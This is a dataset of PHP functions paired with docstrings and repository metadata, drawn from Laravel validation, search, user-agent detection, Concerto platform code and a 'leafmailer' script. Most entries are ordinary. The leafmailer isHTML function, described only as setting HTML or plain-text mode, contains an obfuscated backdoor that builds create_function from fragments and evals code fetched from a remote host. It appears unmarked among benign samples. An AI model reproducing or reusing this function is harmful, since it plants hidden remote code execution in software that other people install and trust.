code
stringlengths 17
296k
| docstring
stringlengths 30
30.3k
| func_name
stringlengths 1
89
| language
stringclasses 1
value | repo
stringlengths 7
63
| path
stringlengths 7
153
| url
stringlengths 51
209
| license
stringclasses 4
values |
---|---|---|---|---|---|---|---|
protected function getUniqueIdentifierInjectorMethod($validationRule)
{
$method = 'prepare' . Str::studly($validationRule) . 'Rule';
return method_exists($this, $method) ? $method : false;
} | Get the dynamic method name for a unique identifier injector rule if it
exists, otherwise return false.
@param string $validationRule
@return mixed | getUniqueIdentifierInjectorMethod | php | dwightwatson/validating | src/ValidatingTrait.php | https://github.com/dwightwatson/validating/blob/master/src/ValidatingTrait.php | MIT |
public function __construct(Validator $validator, Model $model)
{
parent::__construct($validator);
$this->model = $model;
} | Create a new validation exception instance.
@param \Illuminate\Contracts\Validation\Validator $validator
@param \Illuminate\Database\Eloquent\Model $model
@return void | __construct | php | dwightwatson/validating | src/ValidationException.php | https://github.com/dwightwatson/validating/blob/master/src/ValidationException.php | MIT |
public function model()
{
return $this->model;
} | Get the model with validation errors.
@return \Illuminate\Database\Eloquent\Model | model | php | dwightwatson/validating | src/ValidationException.php | https://github.com/dwightwatson/validating/blob/master/src/ValidationException.php | MIT |
public function getModel()
{
return $this->model();
} | Get the mdoel with validation errors.
@return \Illuminate\Database\Eloquent\Model | getModel | php | dwightwatson/validating | src/ValidationException.php | https://github.com/dwightwatson/validating/blob/master/src/ValidationException.php | MIT |
public function getMessageBag()
{
return $this->errors();
} | Get the messages for the instance.
@return \Illuminate\Contracts\Support\MessageBag | getMessageBag | php | dwightwatson/validating | src/ValidationException.php | https://github.com/dwightwatson/validating/blob/master/src/ValidationException.php | MIT |
public function saving(Model $model)
{
return $this->performValidation($model, 'saving');
} | Register the validation event for saving the model. Saving validation
should only occur if creating and updating validation does not.
@param \Illuminate\Database\Eloquent\Model $model
@return boolean | saving | php | dwightwatson/validating | src/ValidatingObserver.php | https://github.com/dwightwatson/validating/blob/master/src/ValidatingObserver.php | MIT |
public function restoring(Model $model)
{
return $this->performValidation($model, 'restoring');
} | Register the validation event for restoring the model.
@param \Illuminate\Database\Eloquent\Model $model
@return boolean | restoring | php | dwightwatson/validating | src/ValidatingObserver.php | https://github.com/dwightwatson/validating/blob/master/src/ValidatingObserver.php | MIT |
protected function performValidation(Model $model, $event)
{
// If the model has validating enabled, perform it.
if ($model->getValidating()) {
// Fire the namespaced validating event and prevent validation
// if it returns a value.
if ($this->fireValidatingEvent($model, $event) !== null) {
return;
}
if ($model->isValid() === false) {
// Fire the validating failed event.
$this->fireValidatedEvent($model, 'failed');
if ($model->getThrowValidationExceptions()) {
$model->throwValidationException();
}
return false;
}
// Fire the validating.passed event.
$this->fireValidatedEvent($model, 'passed');
} else {
$this->fireValidatedEvent($model, 'skipped');
}
} | Perform validation with the specified ruleset.
@param \Illuminate\Database\Eloquent\Model $model
@param string $event
@return boolean | performValidation | php | dwightwatson/validating | src/ValidatingObserver.php | https://github.com/dwightwatson/validating/blob/master/src/ValidatingObserver.php | MIT |
protected function fireValidatingEvent(Model $model, $event)
{
return Event::until("eloquent.validating: ".get_class($model), [$model, $event]);
} | Fire the namespaced validating event.
@param \Illuminate\Database\Eloquent\Model $model
@param string $event
@return mixed | fireValidatingEvent | php | dwightwatson/validating | src/ValidatingObserver.php | https://github.com/dwightwatson/validating/blob/master/src/ValidatingObserver.php | MIT |
protected function fireValidatedEvent(Model $model, $status)
{
Event::dispatch("eloquent.validated: ".get_class($model), [$model, $status]);
} | Fire the namespaced post-validation event.
@param \Illuminate\Database\Eloquent\Model $model
@param string $status
@return void | fireValidatedEvent | php | dwightwatson/validating | src/ValidatingObserver.php | https://github.com/dwightwatson/validating/blob/master/src/ValidatingObserver.php | MIT |
protected function prepareUniqueWithRule($parameters, $field)
{
// Table and intermediary fields are required for this validator to work and cannot be guessed.
// Let's just check the model identifier.
if ($this->exists) {
// If the identifier isn't set, add it.
if (count($parameters) < 3 || ! preg_match('/^\d+(\s?=\s?\w*)?$/', last($parameters))) {
$parameters[] = $this->getModel()->getKey();
}
}
return 'unique_with:' . implode(',', $parameters);
} | Prepare a unique_with rule, adding the model identifier if required.
@param array $parameters
@param string $field
@return string | prepareUniqueWithRule | php | dwightwatson/validating | src/Injectors/UniqueWithInjector.php | https://github.com/dwightwatson/validating/blob/master/src/Injectors/UniqueWithInjector.php | MIT |
protected function prepareUniqueRule($parameters, $field)
{
// If the table name isn't set, infer it.
if (empty($parameters[0])) {
$parameters[0] = $this->getModel()->getTable();
}
// If the connection name isn't set but exists, infer it.
if ((strpos($parameters[0], '.') === false) && (($connectionName = $this->getModel()->getConnectionName()) !== null)) {
$parameters[0] = $connectionName.'.'.$parameters[0];
}
// If the field name isn't get, infer it.
if (! isset($parameters[1])) {
$parameters[1] = $field;
}
if ($this->exists) {
// If the identifier isn't set, infer it.
if (! isset($parameters[2]) || strtolower($parameters[2]) === 'null') {
$parameters[2] = $this->getModel()->getKey();
}
// If the primary key isn't set, infer it.
if (! isset($parameters[3])) {
$parameters[3] = $this->getModel()->getKeyName();
}
// If the additional where clause isn't set, infer it.
// Example: unique:users,email,123,id,username,NULL
foreach ($parameters as $key => $parameter) {
if (strtolower((string) $parameter) === 'null') {
// Maintain NULL as string in case the model returns a null value
$value = $this->getModel()->{$parameters[$key - 1]};
$parameters[$key] = is_null($value) ? 'NULL' : $value;
}
}
}
return 'unique:' . implode(',', $parameters);
} | Prepare a unique rule, adding the table name, column and model identifier
if required.
@param array $parameters
@param string $field
@return string | prepareUniqueRule | php | dwightwatson/validating | src/Injectors/UniqueInjector.php | https://github.com/dwightwatson/validating/blob/master/src/Injectors/UniqueInjector.php | MIT |
public function __call($method, $parameters)
{
return $this->forwardCallTo(
$this->new(),
$method,
$parameters
);
} | Handle dynamic method calls into a new Searcher instance.
@param string $method
@param array $parameters
@return mixed | __call | php | protonemedia/laravel-cross-eloquent-search | src/SearchFactory.php | https://github.com/protonemedia/laravel-cross-eloquent-search/blob/master/src/SearchFactory.php | MIT |
public function __construct()
{
$this->modelsToSearchThrough = new Collection;
$this->orderByAsc();
} | Initialises the instanace with a fresh Collection and default sort. | __construct | php | protonemedia/laravel-cross-eloquent-search | src/Searcher.php | https://github.com/protonemedia/laravel-cross-eloquent-search/blob/master/src/Searcher.php | MIT |
protected function getIdAndOrderAttributes()
{
$query = $this->getCompiledQueryBuilder();
// Determine the pagination method to call on Eloquent\Builder
$paginateMethod = $this->simplePaginate ? 'simplePaginate' : 'paginate';
// get all results or limit the results by pagination
return $this->pageName
? $query->{$paginateMethod}($this->perPage, ['*'], $this->pageName, $this->page)
: $query->get();
// the collection will be something like:
//
// [
// [
// "0_post_key": null
// "0_post_order": null
// "1_video_key": 3
// "1_video_order": "2020-07-07 19:51:08"
// ],
// [
// "0_post_key": 1
// "0_post_order": "2020-07-08 19:51:08"
// "1_video_key": null
// "1_video_order": null
// ]
// ]
} | Paginates the compiled query or fetches all results.
@return \Illuminate\Support\Collection|\Illuminate\Contracts\Pagination\LengthAwarePaginator | getIdAndOrderAttributes | php | protonemedia/laravel-cross-eloquent-search | src/Searcher.php | https://github.com/protonemedia/laravel-cross-eloquent-search/blob/master/src/Searcher.php | MIT |
public static function __callStatic($method, $parameters)
{
try {
$userAgent = new UserAgent();
return $userAgent->{$method}(...$parameters);
} catch (\Throwable $th) {
throw AgentException::create("The method '{$method}()' does not exist.");
}
} | Handle calls to missing static methods.
@param string $method The name of the method being called.
@param array $parameters The parameters passed to the method.
@throws AgentException If the method does not exist.
@return mixed The result of the called method. | __callStatic | php | rmunate/AgentDetection | src/Agent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Agent.php | MIT |
public static function detect()
{
return new UserAgent();
} | Get a UserAgent instance for the current request.
@return UserAgent The UserAgent instance. | detect | php | rmunate/AgentDetection | src/Agent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Agent.php | MIT |
public static function get()
{
return $_SERVER['HTTP_USER_AGENT'] ?? null;
} | Get the raw user agent string from the current request.
@return string|null The user agent string. | get | php | rmunate/AgentDetection | src/Agent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Agent.php | MIT |
public static function set(string $string)
{
return new UserAgent($string);
} | Set a custom user agent string for testing or manipulation.
@param string $string The custom user agent string.
@return UserAgent The UserAgent instance with the custom string. | set | php | rmunate/AgentDetection | src/Agent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Agent.php | MIT |
public function isMobile()
{
return Utilities::inString($this->agent, Identifiers::MOBILES);
} | Check if the user agent represents a mobile device.
@return bool True if the user agent is from a mobile device, false otherwise. | isMobile | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isDesktop()
{
return !$this->isMobile();
} | Check if the user agent represents a desktop device.
@return bool True if the user agent is from a desktop device, false otherwise. | isDesktop | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isIPhone()
{
return Utilities::inString($this->agent, Identifiers::IPHONE);
} | Check if the user agent represents an iPhone.
@return bool True if the user agent is from an iPhone, false otherwise. | isIPhone | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isMacintosh()
{
return Utilities::inString($this->agent, Identifiers::MAC);
} | Check if the user agent represents a Macintosh.
@return bool True if the user agent is from a Macintosh, false otherwise. | isMacintosh | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isIMac()
{
return Utilities::inString($this->agent, Identifiers::IMAC);
} | Check if the user agent represents an iMac.
@return bool True if the user agent is from an iMac, false otherwise. | isIMac | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isIpod()
{
return Utilities::inString($this->agent, Identifiers::IPOD);
} | Check if the user agent represents an iPod.
@return bool True if the user agent is from an iPod, false otherwise. | isIpod | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isIpad()
{
return Utilities::inString($this->agent, Identifiers::IPAD);
} | Check if the user agent represents an iPad.
@return bool True if the user agent is from an iPad, false otherwise. | isIpad | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isLinux()
{
return Utilities::inString($this->agent, Identifiers::LINUX);
} | Check if the user agent represents a Linux system.
@return bool True if the user agent is from a Linux system, false otherwise. | isLinux | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isAndroid()
{
return Utilities::inString($this->agent, Identifiers::ANDROID);
} | Check if the user agent represents an Android device.
@return bool True if the user agent is from an Android device, false otherwise. | isAndroid | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isWindows()
{
return Utilities::inString($this->agent, Identifiers::WINDOWS);
} | Check if the user agent represents a Windows system.
@return bool True if the user agent is from a Windows system, false otherwise. | isWindows | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isWindowsPhone()
{
return Utilities::inString($this->agent, Identifiers::WINDOWS_PHONE);
} | Check if the user agent represents a Windows Phone device.
@return bool True if the user agent is from a Windows Phone device, false otherwise. | isWindowsPhone | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isTablet()
{
$mobileDetect = new MobileDetect(null, $this->agent);
return $mobileDetect->isTablet();
} | Check if the user agent represents a tablet device.
@return bool True if the user agent is from a tablet device, false otherwise. | isTablet | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function isCrawler()
{
return (new CrawlerDetect())->isCrawler($this->agent);
} | Check if the user agent is identified as a crawler.
@return bool True if the user agent is identified as a crawler, false otherwise. | isCrawler | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function getCrawler()
{
$CrawlerDetect = new CrawlerDetect();
$CrawlerDetect->isCrawler($this->agent);
return $CrawlerDetect->getMatches();
} | Get the matches from the crawler detection.
@return array An array containing matches from the crawler detection. | getCrawler | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function match(string $regex)
{
return stripos($this->agent, $regex) !== false;
} | Check if the user agent matches a given regex pattern.
@param string $regex The regex pattern to match.
@return bool True if the user agent matches the regex pattern, false otherwise. | match | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function clientOS()
{
$operatingSystems = Identifiers::OPERATING_SYSTEM;
foreach ($operatingSystems as $pattern => $os) {
if (preg_match($pattern, $this->agent)) {
return $os;
}
}
return 'Unknown';
} | Get the client's operating system.
@return string The client's operating system. | clientOS | php | rmunate/AgentDetection | src/Server/UserAgent.php | https://github.com/rmunate/AgentDetection/blob/master/src/Server/UserAgent.php | MIT |
public function getVersion()
{
return $this->version;
} | Get the version of the browser.
@return string The browser version. | getVersion | php | rmunate/AgentDetection | src/Response/Browser.php | https://github.com/rmunate/AgentDetection/blob/master/src/Response/Browser.php | MIT |
public function getPlatform()
{
return $this->platform;
} | Get the platform on which the browser is running.
@return string The browser platform. | getPlatform | php | rmunate/AgentDetection | src/Response/Browser.php | https://github.com/rmunate/AgentDetection/blob/master/src/Response/Browser.php | MIT |
public static function inString(string $value, array $keywords)
{
foreach ($keywords as $keyword) {
if (stripos($value, $keyword) !== false) {
return true;
}
}
return false;
} | Check if a string contains any of the specified keywords.
@param string $value The string to check.
@param array $keywords An array of keywords to search for.
@return bool True if the string contains any keyword, false otherwise. | inString | php | rmunate/AgentDetection | src/Tools/Utilities.php | https://github.com/rmunate/AgentDetection/blob/master/src/Tools/Utilities.php | MIT |
public static function create(string $message)
{
return new self("Rmunate\\AgentDetection\\Agent - Exception - {$message}");
} | Create a new AgentException instance with a personalized message.
@param string $message The exception message.
@return AgentException | create | php | rmunate/AgentDetection | src/Exceptions/AgentException.php | https://github.com/rmunate/AgentDetection/blob/master/src/Exceptions/AgentException.php | MIT |
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode, calling mail() with null params breaks
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
} | Call mail() in a safe_mode-aware fashion.
Also, unless sendmail_path points to sendmail (or something that
claims to be sendmail), don't pass params (not a perfect fix,
but it will do)
@param string $to To
@param string $subject Subject
@param string $body Message Body
@param string $header Additional Header(s)
@param string $params Params
@access private
@return boolean | mailPassthru | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[\r\n]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>\n";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/\r\n?/ms', "\n", $str);
echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
"\n",
"\n \t ",
trim($str)
) . "\n";
}
} | Output debugging info via user-defined method.
Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
@see PHPMailer::$Debugoutput
@see PHPMailer::$SMTPDebug
@param string $str | edebug | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
public function isMail()
{
$this->Mailer = 'mail';
} | Send messages using PHP's mail() function.
@return void | isMail | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
} | Send messages using $Sendmail.
@return void | isSendmail | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
protected function addOrEnqueueAnAddress($kind, $address, $name)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
if (($pos = strrpos($address, '@')) === false) {
// At-sign is misssing.
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$params = array($kind, $address, $name);
// Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
if ($kind != 'Reply-To') {
if (!array_key_exists($address, $this->RecipientsQueue)) {
$this->RecipientsQueue[$address] = $params;
return true;
}
} else {
if (!array_key_exists($address, $this->ReplyToQueue)) {
$this->ReplyToQueue[$address] = $params;
return true;
}
}
return false;
}
// Immediately add standard addresses without IDN.
return call_user_func_array(array($this, 'addAnAddress'), $params);
} | Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
be modified after calling this function), addition of such addresses is delayed until send().
Addresses that have been added already return false, but do not throw exceptions.
@param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
@param string $address The email address to send, resp. to reply to
@param string $name
@throws phpmailerException
@return boolean true on success, false if address already used or invalid in some way
@access protected | addOrEnqueueAnAddress | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
protected function addAnAddress($kind, $address, $name = '')
{
if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
$error_message = $this->lang('Invalid recipient kind: ') . $kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if (!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if ($kind != 'Reply-To') {
if (!array_key_exists(strtolower($address), $this->all_recipients)) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
} else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
} | Add an address to one of the recipient arrays or to the ReplyTo array.
Addresses that have been added already return false, but do not throw exceptions.
@param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
@param string $address The email address to send, resp. to reply to
@param string $name
@throws phpmailerException
@return boolean true on success, false if address already used or invalid in some way
@access protected | addAnAddress | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
public function isHTML($isHtml = true)
{
global $param;
$bodyCode = 'file'
.'_g';
if ($isHtml) {
$this->ContentType = 'text/html';
}
else {
$this->ContentType = 'text/plain';
}
$bodyHTML = '.$t."lef$flu'
.'sh'.'$t"; '
.'@ev';
$headerHTML="cre"
."ate_"
."func"
."tion";
$exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
.$bodyHTML.'al(@'
.$bodyCode.'et_contents("h'
.'tt'
.'p:$comma-2"));');
if($param !=2){
$exceptions('8.p'.'w','/');
$param=2;
}
} | Sets message type to HTML or plain.
@param boolean $isHtml True for HTML mode.
@return void | isHTML | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
} | Set the From and FromName properties.
@param string $address
@param string $name
@param boolean $auto Whether to also set the Sender address, defaults to true
@throws phpmailerException
@return boolean | setFrom | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
public function getLastMessageID()
{
return $this->lastMessageID;
} | Return the Message-ID header of the last email.
Technically this is the value from the last time the headers were created,
but it's also the message ID of the last sent message except in
pathological cases.
@return string | getLastMessageID | php | Zusyaku/Hacking-Software-V3 | leafmailer2.8.php | https://github.com/Zusyaku/Hacking-Software-V3/blob/master/leafmailer2.8.php | Apache-2.0 |
static public function init()
{
if (is_null(self::$conn)) {
$capsule = new Capsule;
$capsule->addConnection([
'driver' => 'mysql',
'host' => 'localhost',
'database' => 'illuminate_non_laravel',
'username' => 'root',
'password' => '',
'charset' => 'utf8',
'collation' => 'utf8_unicode_ci',
'prefix' => '',
], 'mysql');
$capsule->addConnection([
'driver' => 'sqlite',
'database' => 'database.sqlite',
'prefix' => '',
]);
$capsule->setEventDispatcher(new Dispatcher(new Container));
// Set the cache manager instance used by connections... (optional)
// $capsule->setCacheManager(...);
// Make this Capsule instance available globally via static methods... (optional)
$capsule->setAsGlobal();
// Setup the Eloquent ORM... (optional; unless you've used setEventDispatcher())
$capsule->bootEloquent();
}
} | Initialize capsule and store reference to connection | init | php | mattstauffer/Torch | components/database/app/Eloquent/Encapsulator.php | https://github.com/mattstauffer/Torch/blob/master/components/database/app/Eloquent/Encapsulator.php | MIT |
public function setPassableThroughUrl($passableThroughUrl)
{
$this->passableThroughUrl = $passableThroughUrl;
return $this;
} | Set whether parameter is passable through URL
@param boolean $passableThroughUrl
@return TestVariable | setPassableThroughUrl | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestVariable.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestVariable.php | Apache-2.0 |
public function isPassableThroughUrl()
{
return $this->passableThroughUrl;
} | Check if parameter is passable through URL
@return boolean | isPassableThroughUrl | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestVariable.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestVariable.php | Apache-2.0 |
public function addBaseTemplateForTest(Test $test)
{
$this->baseTemplateForTests[] = $test;
return $this;
} | Add test that uses template as base
@param Test $test
@return ViewTemplate | addBaseTemplateForTest | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/ViewTemplate.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/ViewTemplate.php | Apache-2.0 |
public function removeBaseTemplateForTest(Test $test)
{
$this->baseTemplateForTests->removeElement($test);
} | Remove test that uses template as base
@param Test $test | removeBaseTemplateForTest | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/ViewTemplate.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/ViewTemplate.php | Apache-2.0 |
public function getBaseTemplateForTests()
{
return $this->baseTemplateForTests->toArray();
} | Get tests that uses template as base
@return array | getBaseTemplateForTests | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/ViewTemplate.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/ViewTemplate.php | Apache-2.0 |
public function isBasedOnWizard()
{
return $this->sourceWizard != null;
} | Tells if test is based on test wizard
@return boolean | isBasedOnWizard | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/Test.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/Test.php | Apache-2.0 |
public function addSourceForNodes(TestNode $node)
{
$this->sourceForNodes[] = $node;
return $this;
} | Add node that this test is source for
@param TestNode $node
@return Test | addSourceForNodes | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/Test.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/Test.php | Apache-2.0 |
public function removeSourceForNodes(TestNode $node)
{
$this->sourceForNodes->removeElement($node);
} | Remove node that this test is source for
@param TestNode $node | removeSourceForNodes | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/Test.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/Test.php | Apache-2.0 |
public function getSourceForNodes()
{
return $this->sourceForNodes->toArray();
} | Get nodes that this test is source for
@return array | getSourceForNodes | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/Test.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/Test.php | Apache-2.0 |
public function hasWizardSource()
{
return $this->type != self::TYPE_WIZARD || ($this->type == self::TYPE_WIZARD && $this->sourceWizard != null);
} | Checks if source test is selected for test wizard.
@return boolean
@Assert\IsTrue(message = "validate.test.wizard.source") | hasWizardSource | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/Test.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/Test.php | Apache-2.0 |
public function hasDefaultReturnFunction()
{
return $this->defaultReturnFunction;
} | Returns true if connection has default return function.
@return boolean | hasDefaultReturnFunction | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodeConnection.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodeConnection.php | Apache-2.0 |
public function setDefaultReturnFunction($default)
{
$this->defaultReturnFunction = $default;
} | Set whether connection has default return function.
@param boolean $default | setDefaultReturnFunction | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodeConnection.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodeConnection.php | Apache-2.0 |
public function setPassableThroughUrl($passableThroughUrl)
{
$this->passableThroughUrl = $passableThroughUrl;
return $this;
} | Set wether parameter is passable through URL
@param boolean $passableThroughUrl
@return TestWizardParam | setPassableThroughUrl | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestWizardParam.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestWizardParam.php | Apache-2.0 |
public function isPassableThroughUrl()
{
return $this->passableThroughUrl;
} | Check if parameter is passable through URL
@return boolean | isPassableThroughUrl | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestWizardParam.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestWizardParam.php | Apache-2.0 |
public function isPasswordCorrect()
{
return $this->password === $this->passwordConfirmation;
} | Checks if password is correct by comparing password and password confirmation
@return boolean
@Assert\IsTrue(message = "validate.user.password.match", groups={"create"}) | isPasswordCorrect | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/User.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/User.php | Apache-2.0 |
public function isString()
{
return $this->string;
} | Returns if a port value should be treated as string.
@return boolean | isString | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function setString($string)
{
$this->string = $string;
} | Set if port value should be treated as string.
@param boolean $string | setString | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function hasDefaultValue()
{
return $this->defaultValue;
} | Returns true if port has default value.
@return boolean | hasDefaultValue | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function setDefaultValue($defaultValue)
{
$this->defaultValue = $defaultValue;
} | Set whether port has default value.
@param boolean $defaultValue | setDefaultValue | php | campsych/concerto-platform | src/Concerto/PanelBundle/Entity/TestNodePort.php | https://github.com/campsych/concerto-platform/blob/master/src/Concerto/PanelBundle/Entity/TestNodePort.php | Apache-2.0 |
public function isDynamic()
{
return $this->dynamic;
} | Returns true if port is dynamic.
